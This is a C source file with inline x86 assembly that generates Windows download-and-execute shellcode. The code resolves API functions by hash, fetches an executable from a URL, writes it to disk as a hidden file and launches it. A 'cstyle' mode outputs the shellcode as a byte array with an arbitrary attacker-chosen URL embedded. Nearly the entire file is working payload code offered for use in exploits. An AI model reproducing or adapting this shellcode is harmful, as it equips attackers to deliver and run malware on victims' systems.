/*
 * Generic download/execute shellcode for win32.
 *
 * Overview
 *
 *    Download an executable from a URL and execute it.
 *
 * Targets
 *
 *    95/98/ME/NT/2K/XP
 *
 * Usage
 *
 *    $ download.exe
 *    Usage: download.exe [test | cstyle] [url]
 *    
 *    To generate usable code:
 *
 *    $ download.exe cstyle http://www.mysite.com/joe.exe
 *
 *    The 'test' option will download a harmless executable
 *    from 'http://www.hick.org/~mmiller/bob.exe' and run it.
 *
 * Notes
 *
 *    1) URL's must start with a protocol (like http).
 *    2) The code must run on an writable segment due to one of the symbol
 *       hashes having a NULL.
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile
 *
 *    Optional defines
 *
 *       /DUSE_KERNEL32_METHOD_PEB       Resolve kernel32 using the PEB technique.
 *       /DUSE_KERNEL32_METHOD_SEH       Resolve kernel32 using the SEH technique.
 *       /DUSE_KERNEL32_METHOD_TOPSTACK  Resolve kernel32 using the TOPSTACK technique.
 *
 *    cl download.c /link /debug
 *
 * skape
 * mmiller@hick.org
 */
#include <stdio.h>

#pragma warning(disable: 4068)

#define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d

void __declspec(naked) download_begin()
{
	__asm
	{
		download:
			jmp  initialize_url_bnc_1                 // Jump to the first bounce point

#include "generic.c"

		initialize_url_bnc_1:
			jmp  initialize_url_bnc_2                 // Jump to the second bounce point

		resolve_symbols_for_dll:
			lodsd                                     // Load the current dword from esi into eax
			push eax                                  // Push the hash as the second argument to find_function
			push edx                                  // Push the base address of the current dll being loaded from
			call find_function                        // Call find_function
			mov  [edi], eax                           // Store the return address in the current output buffer pointer
			add  esp, 0x08                            // Restore eight bytes to the stack.
			add  edi, 0x04                            // Add 4 bytes to the output buffer to move to the next slot
			cmp  esi, ecx                             // Have we reached the end?
			jne  resolve_symbols_for_dll              // If not, continue loading
		resolve_symbols_for_dll_finished:
			ret                                       // Return to the caller

		kernel32_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA     0x04
			EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c) // CreateFile       0x08  0x01 -> 0x00
			EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile        0x0c
			EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle      0x10
			EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA   0x14
			EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess      0x18
		wininet_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57) // InternetOpenA    0x1c
			EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e) // InternetOpenUrlA 0x20
			EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f) // InternetReadFile 0x24

		startup:
			pop  esi                                  // Grab the address of the download url from the stack
			sub  esp, 0x7c                            // Give us some room to work.
			mov  ebp, esp 	                           // Use ebp as our frame pointer.

			call find_kernel32                        // Find the base address of kernel32.dll
			mov  edx, eax                             // Save it in edx

			jmp  get_absolute_address_forward         // Jump forward past the middle
		get_absolute_address_middle:
			jmp  get_absolute_address_end             // Jump to the end now that we have our VMA on the stack
		get_absolute_address_forward:
			call get_absolute_address_middle          // Call to the middle to push the VMA of 'pop eax' onto the stack
		get_absolute_address_end:
			pop  eax                                  // Pop the return address from the stack into eax

			jmp  initialize_url_bnc_2_skip            // Jump over the second bounce point
		initialize_url_bnc_2:
			jmp  initialize_url_bnc_3                 // Jump to bounce point 3
		initialize_url_bnc_2_skip:

		copy_download_url:
			lea  edi, [ebp + 0x40]                    // Set edi to the destination that will hold the URL
		copy_download_url_loop:
			movsb                                     // Copy the current byte of the URL to the stack
			cmp  byte ptr [esi - 0x01], 0xff          // Have we hit 0xff yet?
			jne  copy_download_url_loop               // Nope...keep going
		copy_download_url_finished:
			dec  edi                                  // Decrement edi to point to the last byte
			not  byte ptr [edi]                       // Invert the bits to point null terminate the string

		resolve_kernel32_symbols:
			mov  esi, eax                             // Set esi to the absolute VMA of 'pop eax'
			sub  esi, 0x3a                            // Subtract 0x3a to offset to the start of the hashes
			dec  [esi + 0x06]                         // Fix the CreateFile hash to have a null (Note: requires writable segment)
			lea  edi, [ebp + 0x04]                    // Load the effective address of the output buffer to hold the VMA's of the functions
			mov  ecx, esi                             // Set ecx to the start of the hashes
			add  ecx, 0x18                            // Add 0x18 to signify the end point
			call resolve_symbols_for_dll              // Resolve the kernel32.dll symbols

		resolve_wininet_symbols:
			add  ecx, 0x0c                            // Add 0x0c to ecx to signify the end of the wininet.dll symbol hashes
			mov  eax, 0x74656e01                      // Set eax to '\0x01net'
			sar  eax, 0x08                            // Shift eax to the right 8 bits to add a null term
			push eax                                  // Push 'net'
			push 0x696e6977                           // Push 'wini'
			mov  ebx, esp                             // Save the pointer to 'wininet' in ebx
			push ecx                                  // Preserve ecx as it may be clobbered
			push edx                                  // Preserve edx as it may be clobbered
			push ebx                                  // Push the pointer to 'wininet'
			call [ebp + 0x04]                         // Call LoadLibraryA
			pop  edx                                  // Restore edx
			pop  ecx                                  // Restore ecx
			mov  edx, eax                             // Set edx to the base address of wininet.dll
			call resolve_symbols_for_dll              // Resolve the symbols for wininet.dll

		internet_open:
			xor  eax, eax                             // Zero eax
			push eax                                  // Flags
			push eax                                  // Proxy bypass
			push eax                                  // Proxy name
			push eax                                  // Access type
			push eax                                  // Agent name
			call [ebp + 0x1c]                         // Call InternetOpenA
			mov  [ebp + 0x34], eax                    // Save the handle

		internet_open_url:
			xor  eax, eax                             // Zero eax
			push eax                                  // Context
			push eax                                  // Flags
			push eax                                  // Headers length
			push eax                                  // Headers
			lea  ebx, [ebp + 0x40]                    // Load the url address
			push ebx                                  // Url
			push [ebp + 0x34]                         // InternetOpen handle
			call [ebp + 0x20]                         // Call InternetOpenUrlA
			mov  [ebp + 0x38], eax                    // Save the handle

			jmp  initialize_url_bnc_3_skip            // Jump past the 3rd bounce point
		initialize_url_bnc_3:
			jmp  initialize_url_bnc_4                 // Jump past the 4th bounce point
		initialize_url_bnc_3_skip:

		create_file:
			xor  eax, eax                             // Zero eax
			mov  al, 0x65                             // Set the low order byte of eax to 'e'
			push eax                                  // Push 'e'
			push 0x78652e61                           // Push 'a.ex'
			mov  [ebp + 0x30], esp                    // Save the address of 'a.exe'

			xor  eax, eax                             // Zero eax
			push eax                                  // Template
			mov  al, 0x82                             // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN)
			push eax                                  // Flags
			mov  al, 0x02                 	         // Set the disposition to CREATE_ALWAYS
			push eax                                  // Disposition
			xor  al, al                               // Zero al
			push eax                                  // Security attributes
			push eax                                  // Share mode
			mov  al, 0x40                             // Set al to 0x40
			sal  eax, 0x18                            // Shift to the left 18 bits 
			push eax                                  // Desired access (GENERIC_WRITE)
			push [ebp + 0x30]                         // File name
			call [ebp + 0x08]                         // Call CreateFileA
			mov  [ebp + 0x3c], eax                    // Save the file handle

		download_begin:
			xor  eax, eax                             // Zero eax
			mov  ax, 0x010c                           // Set eax to 268
			sub  esp, eax                             // Allocate 268 bytes of stackspace
			mov  esi, esp                             // We'll use esi to track this frame
		download_loop:
			lea  ebx, [esi + 0x04]                    // Load the address of our spot to holde bytes read into eax
			push ebx                                  // Push our bytes read pointer
			mov  ax, 0x0104                           // Set eax to 260
			push eax                                  // We desire to read 260 bytes
			lea  eax, [esi + 0x08]                    // Load the address of our buffer to hold data in
			push eax                                  // Buffer
			push [ebp + 0x38]                         // Handle from InternetOpenUrlA
			call [ebp + 0x24]                         // Call InternetReadFile
			mov  eax, [esi + 0x04]                    // Grab the number of bytes we read
			test eax, eax                             // We're testing to see if it's zero..
			jz   download_finished                    // If the ZF is set, we're done.
		download_write_file:
			xor  eax, eax                             // Zero eax
			push eax                                  // Overlapped
			lea  eax, [esi + 0x04]                    // Load the address of our bytes written pointer
			push eax                                  // Bytes written pointer
			push [esi + 0x04]                         // Bytes to write
			lea  eax, [esi + 0x08]                    // Load the address of the buffer we just read data into
			push eax                                  // Buffer
			push [ebp + 0x3c]                         // File handle
			call [ebp + 0x0c]                         // Call WriteFile
			jmp  download_loop                        // Keep downloading
		download_finished:
			push [ebp + 0x3c]                         // File handle
			call [ebp + 0x10]                         // Call CloseHandle
			xor  eax, eax                             // Zero eax
			mov  ax, 0x010c                           // Set eax to 268
			add  esp, eax                             // Restore the stack		
	
			jmp  initialize_url_bnc_4_skip            // Jump past bounce point 4
		initialize_url_bnc_4:
			jmp  initialize_url_bnc_end               // Jump to the last bouncepoint
		initialize_url_bnc_4_skip:

		initialize_process:
			xor  ecx, ecx                             // Zero ecx
			mov  cl, 0x54                             // Set ecx to 0x54
			sub  esp, ecx                             // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10)
			mov  edi, esp                             // Preserve in edi
		zero_structs:
			xor  eax, eax	                           // We want to store 0
			rep  stosb                                // Repeat storing zero until ecx is 0
		initialize_structs:
			mov  edi, esp                             // Restore edi
			mov  byte ptr [edi], 0x44                 // Set cb to 0x44

		execute_process:			
			lea  esi, [edi + 0x44]                    // Load the address of our PROCESS_INFORMATION starting point
			
			push esi                                  // PROCESS_INFORMATION
			push edi                                  // STARTUPINFO
			push eax                                  // Startup Directory
			push eax                                  // Environment
			push eax                                  // Creation flags
			push eax                                  // Inherit handles 
			push eax                                  // Thread attributes
			push eax                                  // Process attributes
			push [ebp + 0x30]                         // Command line
			push eax                                  // Module name
			call [ebp + 0x14]                         // Call CreateProcess

		exit_process:
			call [ebp + 0x18]                         // Call ExitProcess

		initialize_url_bnc_end:
			call startup                              // Call startup, pushing the pointer to the URL onto the stack
	}
}

void __declspec(naked) download_end()
{
	// http://www.hick.org/~mmiller/bob.exe
	__asm
	{
		__emit 0x68
		__emit 0x74
		__emit 0x74
		__emit 0x70
		__emit 0x3a
		__emit 0x2f
		__emit 0x2f
		__emit 0x77
		__emit 0x77
		__emit 0x77
		__emit 0x2e
		__emit 0x68
		__emit 0x69
		__emit 0x63
		__emit 0x6b
		__emit 0x2e
		__emit 0x6f
		__emit 0x72
		__emit 0x67
		__emit 0x2f
		__emit 0x7e
		__emit 0x6d
		__emit 0x6d
		__emit 0x69
		__emit 0x6c
		__emit 0x6c
		__emit 0x65
		__emit 0x72
		__emit 0x2f
		__emit 0x62
		__emit 0x6f
		__emit 0x62
		__emit 0x2e
		__emit 0x65
		__emit 0x78
		__emit 0x65
		__emit 0xff
	}
}

void __declspec(naked) download_end_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle] [url]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)download_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)download_end_end);
		unsigned char *buf;
		unsigned long length;

		start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
		stop  += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
		length = stop - start;

		buf = (unsigned char *)malloc(length);

		if (!buf)
			return 0;

		memcpy(buf, start, length);

		((void (*)())buf)();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned long urlLength  = ((argc == 3) ? strlen(argv[2]) : 0);
		unsigned char *start     = (unsigned char *)((unsigned char *)download_begin);
		unsigned char *stop      = (unsigned char *)((unsigned char *)download_end);
		unsigned char *stopNoUrl = (unsigned char *)((unsigned char *)download_end_end);
		unsigned char *c         = NULL;
		unsigned long x          = 0, length;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start     += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
		stop      += *(unsigned long *)((unsigned char *)download_end + 1) + 5;
		stopNoUrl += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
		length     = stop - start;

		// Include the default url if none was supplied
		if (!urlLength)	
			length += stopNoUrl - stop;

		fprintf(stdout, "// %lu byte download/execute shellcode\n\n", length + urlLength + 1);
		fprintf(stdout, "unsigned char download[] = \"");

		for (c = start;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		if (urlLength)
		{
			for (x = 0;
			     x < urlLength;
			     x++)
				fprintf(stdout, "\\x%2.2x", argv[2][x]);

			fprintf(stdout, "\\xff");	
		}

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
